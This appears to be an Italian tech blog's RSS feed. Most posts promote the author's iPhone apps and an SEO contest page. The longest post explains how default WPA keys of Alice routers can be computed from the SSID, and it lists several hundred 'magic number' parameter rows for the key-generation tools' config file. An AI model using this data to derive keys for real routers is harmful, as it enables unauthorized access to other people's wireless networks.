<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PcExpert &#187; programmazione</title>
	<atom:link href="http://www.pcexpert-blog.com/category/programmazione/feed" rel="self" type="application/rss+xml" />
	<link>http://www.pcexpert-blog.com</link>
	<description></description>
	<lastBuildDate>Sat, 05 Nov 2011 22:20:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<image>
  <link>http://www.pcexpert-blog.com</link>
  <url>http://www.pcexpert-blog.com/wp-content/plugins/favicon-manager/favicon.ico</url>
  <title>PcExpert</title>
</image>
<cloud domain='www.pcexpert-blog.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Newsfeed: L&#8217;applicazione che rivoluzionerà il modo di leggere le news sui nostri iPhone/iPod Touch</title>
		<link>http://www.pcexpert-blog.com/2011/09/newsfeed-lapplicazione-che-rivoluzionera-il-modo-di-leggere-le-news-sui-nostri-iphoneipod-touch.html</link>
		<comments>http://www.pcexpert-blog.com/2011/09/newsfeed-lapplicazione-che-rivoluzionera-il-modo-di-leggere-le-news-sui-nostri-iphoneipod-touch.html#comments</comments>
		<pubDate>Fri, 16 Sep 2011 23:37:45 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1784</guid>
		<description><![CDATA[<p></p>
<p><span style="color: #ff0000;">UPDATE VERSIONE 1.2 CHANHELOG:</span></p>
<div>- Aggiunta la compatibilità con i vecchi dispositivi Apple.
- Ottimizzato l&#8217;utilizzo della memoria.
- Introdotta una nuova funzione che permette di ricaricare le news</div><p></p>]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1814" title="screen1" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen1-208x300.jpg" alt="" width="208" height="300" /></p>
<p><span style="color: #ff0000;"><strong>UPDATE VERSIONE 1.2 CHANHELOG:</strong></span></p>
<div>- Aggiunta la compatibilità con i vecchi dispositivi Apple.<br />
- Ottimizzato l&#8217;utilizzo della memoria.<br />
- Introdotta una nuova funzione che permette di ricaricare le news durante la lettura.<br />
- Migliorata l&#8217;esperienza di navigazione in 3G.<br />
- Risolti 2 bug che causavano in certe condizioni un errato conteggio delle news ancora da leggere.<br />
- Nella Sezione &#8220;All Items&#8221; verranno ora mostrate solo le notizie effettivamente da leggere.<br />
- Ottimizzato per iOS 5.</div>
<div>
<h1 style="text-align: center;"><span style="color: #ff0000;"><strong>DOWNLOAD</strong></span></h1>
<p style="text-align: center;"><strong>LINK DOWNLOAD APPLE STORE: </strong><a href="http://itunes.apple.com/it/app/newsfeed/id468997390?mt=8">http://itunes.apple.com/it</a><a href="http://itunes.apple.com/it/app/newsfeed/id468997390?mt=8">app/newsfeed/id468997390</a></p>
</div>
<p>Dopo mesi di duro lavoro <img src='http://www.pcexpert-blog.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  sono lieto di presentarvi <strong>NewsFeed</strong> in <strong>free</strong> download sull&#8217;Apple Store.</p>
<p><strong>NewsFeed</strong> è un nuovo <strong>client</strong> totalmente compatibile con <strong>Google Reader</strong> per iPhone e iPod Touch che rivoluzionerà il modo di leggere le notizie sui dispositivi mobili. Se infatti non possiamo fare a meno della funzione <strong>CoverFlow</strong> presente sui nostri amati dispositivi Apple sicuramente apprezeremo anche questa applicazione. NewsFeed infatti utlizza il sistema CoverFlow per  permetterci di &#8220;sfogliare&#8221; letteralemente le news scaricate al volo dal nostro account <strong>Google Reader.</strong></p>
<p>Tantissime le caratteristiche di questa applicazione tra cui spiccano sicuramente le seguenti:</p>
<ul>
<li>Possibilità di visualizzare una velocissima anteprima della news che stiamo visualizzando.</li>
<li>Possibilità di visualizzare il sito web che ha postato la notizia.</li>
<li>Possibilità di settare la notizia come letta/non letta.</li>
<li>Possibilità di  salvare tra i nostri preferiti la notizia.</li>
<li>Possibilità di condividere velocemente tutte le news che stiamo leggendo con i nostri amici tramite Facebook, Twitter o via email.</li>
<li>Se una fonte non presenta articoli da leggere è possibile sfogliare tutte le notizie pubblicate in passato.</li>
<li>Caricamento ultraveloce delle immagini di preview dei singoli articoli con possibilità di disabilitare quest&#8217;ultima azione nel caso in cui utilizziamo una connessione 3G.</li>
<li>Badge nella springboard che permette di visualizzare velocemente il numero di notizie non lette.</li>
<li>E tanto altro ancora&#8230;</li>
</ul>
<p>Per il momento <strong>NewsFeed</strong> è stato rilasciato in versione <strong>totalmente gratuita</strong>. In futuro, se l&#8217;applicazione raggiungerà il successo sperato, verrà rilasciata una versione a pagamento senza pubblicità e con la possibilità di leggere le news anche senza una connessione ad internet.</p>
<p>Pur essendo pienamente compatibile con iPhone 3GS e iPod Touch di vecchie generazioni con firmware superiore al 4.0 l&#8217;applicazione da il meglio di se in termini di performance con i dispositivi di ultima generazione quali iPhone 4 e i nuovi iPod Touch</p>
<p>Vi lascio infine ad alcuni screen dell&#8217;app ed ad un video che ne illustra i principali punti di forza.</p>
<p><strong><br />
<iframe src="http://www.youtube.com/embed/u8RK94Eu6dA" frameborder="0" width="560" height="315"></iframe><br />
</strong></p>
<h1 style="text-align: center;"><span style="color: #ff0000;"><strong>DOWNLOAD</strong></span></h1>
<p><strong>LINK DOWNLOAD APPLE STORE: </strong><a href="http://itunes.apple.com/it/app/newsfeed/id468997390?mt=8">http://itunes.apple.com/it/app/newsfeed/id468997390?mt=8</a></p>
<p>Qualora decidiate di pubblicare un articolo a riguardo vi prego di comunicarmelo rispondendo a questa email.</p>
<p>Cordiali Saluti</p>
<p>Paolo Smedile<br />
<a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/NewsPad-4.png"><br />
</a><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen2.jpg"><img class="size-medium wp-image-1815 alignleft" title="screen2" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen2-208x300.jpg" alt="" width="208" height="300" /></a><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen-3.jpg"><img class="size-medium wp-image-1816 alignleft" title="screen 3" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen-3-208x300.jpg" alt="" width="208" height="300" /></a><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/screen2.jpg"><img class="size-medium wp-image-1787" title="NewsPad 5" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/NewsPad-5-208x300.png" alt="" width="208" height="300" /></a><img class="size-medium wp-image-1786 alignleft" title="NewsPad 6" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/09/NewsPad-6-208x300.png" alt="" width="208" height="300" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/09/newsfeed-lapplicazione-che-rivoluzionera-il-modo-di-leggere-le-news-sui-nostri-iphoneipod-touch.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Help Me l&#8217;applicazione per iphone che ti aiuta ad uscire il più velocemente possibile dai guai!</title>
		<link>http://www.pcexpert-blog.com/2011/05/help-me-lapplicazione-per-iphone-che-ti-aiuta-ad-uscire-il-piu-velocemente-possibile-dai-guai.html</link>
		<comments>http://www.pcexpert-blog.com/2011/05/help-me-lapplicazione-per-iphone-che-ti-aiuta-ad-uscire-il-piu-velocemente-possibile-dai-guai.html#comments</comments>
		<pubDate>Sat, 28 May 2011 12:13:04 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1732</guid>
		<description><![CDATA[<p>Help Me è una utilissima applicazione che vi aiuterà ad uscire il più velocemente possibile da guai nei momenti di bisogno.
Capita infatti che, nei momenti di panico assoluto, possiamo</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/Default.png"><img class="aligncenter size-medium wp-image-1733" title="Default" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/Default-200x300.png" alt="" width="200" height="300" /></a>Help Me è una utilissima applicazione che vi aiuterà ad uscire il più velocemente possibile da guai nei momenti di bisogno.<br />
Capita infatti che, nei momenti di panico assoluto, possiamo non avere la lucidità e/o la prontezza di comporre o cercare in rubrica il numero di una persona di cui possiamo fidarci e che potrà sicuramente tirarci fuori dai guai.<br />
Ancora più difficile in questi momenti è sicuramente <strong>indicare in modo preciso</strong> alla persona che dovrà venire in nostro soccorso <strong>la posizione in cui ci troviamo</strong>.<br />
Per esempio in caso di incidente stradale spesso non si ha la minima idea del posto in cui ci si trova al momento dell&#8217;impatto.<br />
Ecco che ci viene in aiuto <strong>HELP ME</strong>. L&#8217;applicazione necessita di <strong>poche semplici configurazioni</strong>. Una volta scaricata ci basterà infatti settare, tramite l&#8217;apposito ed <strong>intuitivo menù</strong>, un numero di telefono e un messaggio di default e, una volta configurata, l&#8217;app sarà pronta per all&#8217;uso e non sarà più necessario configurare nient&#8217;altro.<br />
D&#8217;ora in poi sarà infatti possibile effettuare una chiamata d&#8217;emergenza al numero preimpostato premendo un solo bottone e/o mandare un messaggio automatico con del testo predefinito + LA POSIZIONE ESATTA in cui ci troviamo. Grazie all&#8217;aiuto del GPS presente nel dispositivo, <strong>Help Me otterà in automatico le coordinate precise del luogo in cui ci troviamo</strong>. Se possediamo inoltre una connessione ad Internet (3G o Wifi) l&#8217;applicazione è in grado di estrapolare in automatico dalle coordinate il luogo esatto in cui ci troviamo con STATO, CITTA&#8217;, VIA E NUMERO CIVICO.<br />
Che dire veramente un app utilissima nelle emergenze!</p>
<p><!-- p.p1 {margin: 0.0px 0.0px 13.0px 0.0px; line-height: 19.0px; font: 13.0px Georgia} span.s1 {text-decoration: underline} -->L&#8217;applicazione è disponibile <span style="text-decoration: underline;"><strong><em>gratuitamente</em></strong></span> sull&#8217;Apple Store ed è localizzata sia in italiano che in Inglese.</p>
<p><span style="text-decoration: underline; color: #ff0000;"><strong>LINK APPLE STORE: </strong></span><a href="http://itunes.apple.com/it/app/help-me-now/id439511249?mt=8">http://itunes.apple.com/it/app/help-me-now/id439511249?mt=8</a></p>
<p>Buon Download <img src='http://www.pcexpert-blog.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/05/help-me-lapplicazione-per-iphone-che-ti-aiuta-ad-uscire-il-piu-velocemente-possibile-dai-guai.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>instantempo: Prendi in mano la tua vita e diventa padrone del tuo tempo!</title>
		<link>http://www.pcexpert-blog.com/2010/10/instantempo-prendi-in-mano-la-tua-vita-e-diventa-padrone-del-tuo-tempo.html</link>
		<comments>http://www.pcexpert-blog.com/2010/10/instantempo-prendi-in-mano-la-tua-vita-e-diventa-padrone-del-tuo-tempo.html#comments</comments>
		<pubDate>Sat, 16 Oct 2010 13:09:13 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[instantempo]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1678</guid>
		<description><![CDATA[<div id="attachment_1680" class="wp-caption aligncenter" style="width: 138px"><p class="wp-caption-text">instantempo</p></div>
<p>Dopo aver appreso la notizia dell&#8217;inizio del nuovo SEO contest ideato dal Forum GT ho pensato bene di provare a partecipare anche io ed</p>]]></description>
			<content:encoded><![CDATA[<div id="attachment_1680" class="wp-caption aligncenter" style="width: 138px"><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/10/instantempo.png"><img class="size-full wp-image-1680" title="instantempo" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/10/instantempo.png" alt="instantempo" width="128" height="128" /></a><p class="wp-caption-text">instantempo</p></div>
<p>Dopo aver appreso la notizia dell&#8217;inizio del nuovo <strong>SEO contest</strong> ideato dal Forum GT ho pensato bene di provare a partecipare anche io ed in particolare nella sezione riguardante i social nwtworks.</p>
<p>Ecco di seguito il link alla pagina Facebook interessat:</p>
<h1><span style="text-decoration: underline;"><strong><a href="http://www.facebook.com/home.php?#!/pages/Instantempo/168377233178168">Instantempo</a></strong></span> &#8211; Prendi in mano la tua vita e diventa padrone del tuo tempo!</h1>
<p><center><br />
<iframe src="http://www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fhome.php%3F%23%21%2Fpages%2FInstantempo%2F168377233178168&amp;width=292&amp;colorscheme=light&amp;connections=50&amp;stream=true&amp;header=true&amp;height=587" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:292px; height:587px;" allowTransparency="true"></iframe><br />
</center><br />
CLICCA QUI PER ACCEDERE ALL&#8217;APPOSITA PAGINA FACEBOOK DEL CONTEST: <a href="http://www.facebook.com/home.php?#!/pages/Instantempo/168377233178168">http://www.facebook.com/home.php?#!/pages/Instantempo/168377233178168</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/10/instantempo-prendi-in-mano-la-tua-vita-e-diventa-padrone-del-tuo-tempo.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lista Aggiornata dei Magic Numbers (Numeri Magici) usati per calcolare automaticamente la chiave WPA dei router Alice</title>
		<link>http://www.pcexpert-blog.com/2010/09/lista-aggiornata-dei-magic-numbers-numeri-magici-usati-per-calcolare-automaticamente-la-chiave-wpa-dei-router-alice.html</link>
		<comments>http://www.pcexpert-blog.com/2010/09/lista-aggiornata-dei-magic-numbers-numeri-magici-usati-per-calcolare-automaticamente-la-chiave-wpa-dei-router-alice.html#comments</comments>
		<pubDate>Thu, 16 Sep 2010 20:14:28 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[crack]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[fonera]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1670</guid>
		<description><![CDATA[<p></p>
<p>Dopo la recente scoperta da parte del White Hats Crew dell&#8217;algoritmo usato per generare automaticamente le chiavi WPA dei router Alice ecco che in rete sono comparsi numerossissimi tools</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/09/alice-router.jpg"><img class="aligncenter size-full wp-image-1671" title="alice-router" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/09/alice-router.jpg" alt="" width="272" height="185" /></a></p>
<p>Dopo la recente scoperta da parte del <a href="http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/">White Hats Crew</a> dell&#8217;algoritmo usato per <strong>generare automaticamente le chiavi WPA dei router Alice</strong> ecco che in rete sono comparsi numerossissimi tools atti a tale scopo(WPA Security Inspector, <a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=316">Agpf Tool</a>) .</p>
<p>In particolare, partendo dall SSID della rete (il nome che visualizziamo non appena cerchiamo la nostra rete) si può ricavare, nel giro di pochi secondi, la fatidica chiave WPA.</p>
<p>Tutti questi tools hanno però bisogno di un particolare file (config.txt) di configurazione per generare le chiavi contente dei codici soprannominati <strong>Magic Numbers</strong>.</p>
<p><span style="color: #ff0000;">Cosa sono i <strong>Magic Numbers</strong>?</span></p>
<p><strong>Seriali, Serie e Numeri Magici</strong></p>
<blockquote><p>Sono particolari cifre che cambiano da router a router secondo un particolare meccanismo che abbiamo dedotto, li abbiamo denominati<em><strong> numeri magici</strong></em> (altri modelli di router usano un formato analogo per i seriali ma non è chiaro se rispettano lo stesso meccanismo di generazione)</p>
<p>Ogni router oltre ad avere un proprio firmware ha anche una serie, corrispondente alla prima parte del seriale (SN) riportato su ogni router. Da un’accurata analisi del tutto statistica siamo riusciti a trarre alcune conclusioni in merito solo per alcune serie. Siamo però convinti che deve esistere un algoritmo universale in grado di individuarli tutti. Non essendo il nostro interese di natura statistica abbiamo limitato le nostre ricerche sui dati a cui abbiamo avuto la possibilità di analizzare.</p>
<p>Riprendendo il discorso dei <em>numeri magici</em> siamo riusciti, tramite confronti tra due o più seriali, ad individuare dei valori costanti che si ripeteno. Il seriale è calcolabile mediante un’equazione tutto sommato abbastanza semplice  conoscendo solamente la parte numerica dell’SSID della rete. E’ stato infatti scoperto che la relazione che sussiste tra SN e SSID è di aritmetica modulare: esistono due costanti, che definiremo con  <strong>k </strong>e<strong> Q</strong>, dipendenti dalla serie del router, tale che<strong> SSID=k*SN+Q</strong> (dove con SN indicheremo la seconda parte del seriale, quella dopo la X, la prima parte è fissa per ogni serie), da questa formula ricaviamo la formula finale <strong>SN=(SSID-Q)/k</strong>. Naturalmente un’equazione e due incognite non ammette un’unica soluzione, per questo abbiamo impostant un sistema che prende in considerazione i dati di due router della stessa serie.</p></blockquote>
<h1><strong>Ecco di seguito una lista dei Magic Numbers aggiornata al 21/09/2010 (Settembre)<br />
</strong></h1>
<p><code><br />
995,69102,13,99208960,001D8B<br />
966,69102,13,96214846,001D8B<br />
965,69102,13,96214846,001D8B<br />
964,67902,13,95026672,001D8B<br />
964,69102,13,96214846,001D8B<br />
963,67902,13,95026672,001D8B<br />
962,67902,13,95027335,001D8B<br />
961,69102,13,96017051,001D8B<br />
960,69102,13,96017051,001D8B<br />
959,69102,13,94828422,001D8B<br />
959,67902,13,94828422,001D8B<br />
958,67902,13,94829072,001D8B<br />
957,67902,13,94831022,001D8B<br />
956,67902,13,94831022,001D8B<br />
955,67902,13,94828422,001D8B<br />
954,67902,13,94831022,001D8B<br />
954,67902,13,94828422,001D8B<br />
953,67902,13,94829137,001D8B<br />
952,67902,13,94829137,001D8B<br />
951,67902,13,94829137,001D8B<br />
950,67902,13,94831022,001D8B<br />
950,67902,13,94830515,001D8B<br />
949,67902,13,94830515,001D8B<br />
948,67902,13,94830515,001D8B<br />
946,67901,13,92873664,001D8B<br />
945,67901,13,92873664,001D8B<br />
944,67901,13,92873664,001D8B<br />
943,67901,13,92873664,001D8B<br />
938,69101,13,91472696,001D8B<br />
936,69101,13,92723407,001D8B<br />
935,69101,13,92727307,001D8B<br />
934,67901,13,92016972,001D8B<br />
933,69101,13,92016972,001D8B<br />
933,67901,13,92016972,001D8B<br />
932,69101,13,93062432,001D8B<br />
932,67901,13,92016972,001D8B<br />
931,69101,13,92398366,001D8B<br />
930,69101,13,92437366,001D8B<br />
928,69101,13,92294366,001D8B<br />
928,69101,13,92303856,001D8B<br />
927,69101,13,92303856,001D8B<br />
925,69101,13,92086899,001D8B<br />
923,69101,13,92017687,001D8B<br />
922,67901,13,91105594,001D8B<br />
866,67901,13,85548341,001D8B<br />
865,67901,13,85548341,001D8B<br />
864,67901,13,85548341,001D8B<br />
863,67901,13,85548341,001D8B<br />
862,67901,13,85548341,001D8B<br />
861,67901,13,85535341,001D8B<br />
860,67901,13,85535341,001D8B<br />
859,67901,13,85535341,001D8B<br />
858,67901,13,85518805,001D8B<br />
857,67901,13,85518805,001D8B<br />
857,69101,13,85507196,001D8B<br />
829,67901,13,82777468,38229D<br />
653,67904,8,62415297,002553<br />
652,67904,8,62415297,002553<br />
651,67904,8,62415297,002553<br />
650,67904,8,62415297,002553<br />
650,67904,8,62415249,002553<br />
649,67904,8,62415249,002553<br />
649,67904,8,62415297,002553<br />
648,67904,8,62415297,002553<br />
647,67904,8,62415297,002553<br />
646,67904,8,62415297,002553<br />
645,67904,8,62415297,002553<br />
644,67904,8,62415297,002553<br />
643,67904,8,62415297,002553<br />
642,69104,8,63703777,002553<br />
641,67904,8,62254897,002553<br />
641,69104,8,63703777,002553<br />
640,67904,8,62254897,002553<br />
639,67904,8,62254897,002553<br />
638,67904,8,62254897,002553<br />
637,67904,8,62246897,002553<br />
636,67904,8,62246897,002553<br />
636,67904,8,55226258,002553<br />
636,67904,8,62360145,002553<br />
635,67904,8,62230897,002553<br />
634,67904,8,62239057,002553<br />
634,67904,8,62238897,002553<br />
633,67904,8,62239057,002553<br />
633,69104,8,62903297,002553<br />
631,67904,8,62194697,002553<br />
631,67904,8,62219249,002553<br />
631,67904,8,62193097,002553<br />
630,67904,8,62220849,002553<br />
629,67904,8,62304689,002553<br />
629,67904,8,62220849,002553<br />
628,67904,8,62174513,002553<br />
627,67904,8,61855721,002553<br />
627,69104,8,62345169,002553<br />
627,67904,8,62174801,002553<br />
626,69104,8,62345169,002553<br />
626,67904,8,62345169,002553<br />
625,69104,8,62345169,002553<br />
624,69104,8,62345153,002553<br />
623,67904,8,61884537,002553<br />
622,67904,8,61884537,002553<br />
62X,67904,8,62174801,002553<br />
588,69102,13,56695373,002233<br />
587,69102,13,56695945,002233<br />
586,69102,13,56695945,002233<br />
585,67902,13,55485918,002233<br />
584,67902,13,55485918,002233<br />
583,67902,13,55485918,002233<br />
582,67902,13,55485918,002233<br />
581,69102,13,56332816,002233<br />
580,69102,13,56332816,002233<br />
579,69102,13,56332816,002233<br />
579,67902,13,55509708,002233<br />
578,67902,13,55119942,002233<br />
577,67902,13,55119942,002233<br />
576,67902,13,55119942,002233<br />
574,69102,13,55844913,002233<br />
574,69102,13,55844900,002233<br />
573,69102,13,55844913,002233<br />
571,67902,13,54791692,002233<br />
571,69102,13,55844900,002233<br />
570,67902,13,54791692,002233<br />
569,67902,13,54809242,002233<br />
569,67902,13,54805992,002233<br />
568,67902,13,54805992,002233<br />
568,67902,13,54809242,002233<br />
567,67902,13,54808800,002233<br />
566,67902,13,54808800,002233<br />
565,67902,13,54808800,002233<br />
564,67902,13,54808800,002233<br />
563,67902,13,54808800,002233<br />
562,67902,13,54808800,002233<br />
561,69102,13,55052472,002233<br />
560,67902,13,54809242,002233<br />
559,69102,13,54778588,00223<br />
558,69102,13,54811868,00223<br />
557,69102,13,54811868,00223<br />
556,69102,13,54811868,00223<br />
555,67904,8,55164449,002553<br />
555,69102,13,54811868,00223<br />
555,67904,8,55164145,002553<br />
554,69102,13,54811868,002233<br />
554,67904,8,55164450,002553<br />
554,67904,8,55164449,002553<br />
553,67904,8,55164449,002553<br />
552,67904,8,55164449,002553<br />
552,69102,13,54730124,002553<br />
551,67904,8,55164449,002553<br />
551,67903,8,52420697,002553<br />
550,67903,8,52420697,002553<br />
550,67903,8,52420689,002553<br />
549,67903,8,52420689,002553<br />
549,67903,8,52420673,002553<br />
548,67903,8,52420689,002553<br />
548,67903,8,52420673,002553<br />
547,67903,8,52420689,002553<br />
546,67903,8,52420689,002553<br />
545,67903,8,52420689,002553<br />
544,67903,8,52420689,002553<br />
543,67903,8,52420689,002553<br />
542,67903,8,52420673,002553<br />
542,67903,8,52420689,002553<br />
541,67903,8,52420689,002553<br />
540,67903,8,52420689,002553<br />
539,67903,8,52420689,002553<br />
539,67903,8,52420681,002553<br />
538,67903,8,52420681,002553<br />
537,67903,8,52420681,002553<br />
536,67903,8,52420689,002553<br />
536,67903,8,52420681,002553<br />
535,67903,8,52420681,002553<br />
535,67903,8,52420689,002553<br />
534,67903,8,52420681,002553<br />
533,67903,8,52420689,002553<br />
533,67903,8,52420681,002553<br />
532,69103,8,52845953,002553<br />
531,69103,8,52845953,002553<br />
530,67903,8,52196329,002553<br />
529,67903,8,52196329,002553<br />
528,67903,8,52196329,002553<br />
527,67903,8,52196329,002553<br />
526,69103,8,52418353,002553<br />
526,67903,8,52196329,002553<br />
525,69103,8,52418353,002553<br />
524,69103,8,52418353,002553<br />
490,69101,13,48968681,001CA2<br />
487,67901,13,48559740,00238E<br />
487,67901,13,48559740,001CA2<br />
483,67903,8,47896103,00238E<br />
482,67903,8,47896103,00238E<br />
481,67903,8,47896103,00238E<br />
480,67903,8,47896103,00238E<br />
479,67903,8,47955247,00238E<br />
478,69102,13,43892099,00238E<br />
477,69102,13,43892099,00238E<br />
476,69102,13,43892099,00238E<br />
476,69102,13,43892021,00238E<br />
475,69102,13,43892021,00238E<br />
474,69102,13,43892099,00238E<br />
472,67902,13,39177168,00238E<br />
471,67902,13,39177168,00238E<br />
471,67902,13,39184782,00238E<br />
470,67902,13,39184782,00238E<br />
470,67902,13,38678445,00238E<br />
469,67902,13,38678445,00238E<br />
468,67902,13,39014716,00238E<br />
468,67902,13,38678445,00238E<br />
466,67902,13,39015145,00238E<br />
465,67902,13,39015145,00238E<br />
465,67902,13,39015065,00238E<br />
464,67902,13,39014716,00238E<br />
463,67902,13,39014716,00238E<br />
463,67902,13,39015145,00238E<br />
462,67902,13,39011245,00238E<br />
461,67902,13,39014716,00238E<br />
461,67902,13,39015145,00238E<br />
460,67902,13,39015145,00238E<br />
460,67902,13,39010595,00238E<br />
459,67902,13,39004095,00238E<br />
459,67902,13,39015145,00238E<br />
458,67902,13,39010595,0017CE<br />
457,67902,13,39010595,00238E<br />
456,67902,13,39010595,00238E<br />
455,67902,13,39010595,00238E<br />
454,67902,13,39010335,00238E<br />
453,67902,13,39010335,00238E<br />
451,67902,13,39010335,00238E<br />
450,69102,13,41631044,00238E<br />
449,67902,13,38883455,00238E<br />
448,67902,13,38883455,00238E<br />
447,67902,13,38883455,00238E<br />
446,67902,13,38767105,00238E<br />
445,67902,13,38767105,00238E<br />
445,67902,13,39010335,00238E<br />
444,67902,13,38767105,00238E<br />
443,67901,13,43008155,00238E<br />
443,67902,13,38767105,00238E<br />
44X,67902,13,44156697,00238E<br />
430,67901,13,43008155,00238E<br />
430,67901,13,43008155,001CA2<br />
427,69101,13,42667449,001CA2<br />
423,69101,13,42309436,001CA2<br />
390,67902,13,33775765,00238E<br />
390,69102,13,35639029,00238E<br />
389,67902,13,33775765,00238E<br />
388,67902,13,33775765,00238E<br />
387,69102,13,35639029,00238E<br />
386,69102,13,35639029,00238E<br />
385,69102,13,35639029,00238E<br />
385,67902,13,33042526,00238E<br />
384,67902,13,33042526,00238E<br />
383,69102,13,35639029,00238E<br />
382,69102,13,35639029,00238E<br />
382,67902,13,33175048,00238E<br />
381,67902,13,33175048,00238E<br />
380,67902,13,33172097,00238E<br />
379,67902,13,33175048,00238E<br />
379,67902,13,33175058,00238E<br />
378,67902,13,33175048,00238E<br />
377,67902,13,33175048,00238E<br />
377,67902,13,33175058,00238E<br />
376,67902,13,33175048,00238E<br />
375,67902,13,33175048,00238E<br />
375,67902,13,33175058,00238E<br />
375,67902,13,33175048,00238E<br />
374,67902,13,34856728,00238E<br />
373,67902,13,34856728,00238E<br />
372,69102,13,34855688,00238E<br />
372,69102,13,34856728,00238E<br />
371,69102,13,34856728,00238E<br />
370,69102,13,34855688,00238E<br />
369,67902,13,32716668,00238E<br />
368,67902,13,32719840,00238E<br />
367,67902,13,32720035,00238E<br />
366,67902,13,32720035,00238E<br />
365,67902,13,32720035,00238E<br />
364,67902,13,32720035,00238E<br />
363,67902,13,32720035,00238E<br />
362,67902,13,32720035,00238E<br />
361,67902,13,32720035,00238E<br />
360,67902,13,32720035,00238E<br />
360,67902,13,32719866,00238E<br />
359,67902,13,32719866,38229D<br />
321,67904,8,28730779,38229D<br />
320,69104,8,30891307,38229D<br />
315,67904,8,28369051,38229D<br />
314,67904,8,28369051,38229D<br />
312,69104,8,30599079,38229D<br />
312,69104,8,30655015,38229D<br />
312,67904,8,28190287,38229D<br />
182,67904,8,16628398,00268D ( NON CORRETTO ??? )<br />
181,67902,13,17728255,00268D<br />
181,67902,13,14496838,00268D<br />
181,67902,13,13921842,00268D<br />
181,67902,13,14825009,00268D<br />
181,67903,8,15966400,00268D<br />
181,69102,13,16493373,00268D<br />
181,69102,13,15539710,00268D<br />
181,69103,8,17946128,00268D<br />
181,67901,13,16874837,00268D<br />
181,67902,13,17122778,00268D<br />
181,67902,13,12103992,00268D<br />
181,69102,13,16313301,00268D<br />
181,67904,8,17574389,00268D<br />
181,67904,8,18042064,00268D<br />
181,69102,13,17315130,00268D<br />
181,67902,13,15578953,00268D<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/09/lista-aggiornata-dei-magic-numbers-numeri-magici-usati-per-calcolare-automaticamente-la-chiave-wpa-dei-router-alice.html/feed</wfw:commentRss>
		<slash:comments>61</slash:comments>
		</item>
		<item>
		<title>Migliorare l&#8217;indicizzazione su google dividendo grosse sitemap in più parti</title>
		<link>http://www.pcexpert-blog.com/2010/02/migliorare-lindicizzazione-su-google-dividendo-grosse-sitemap-in-piu-parti.html</link>
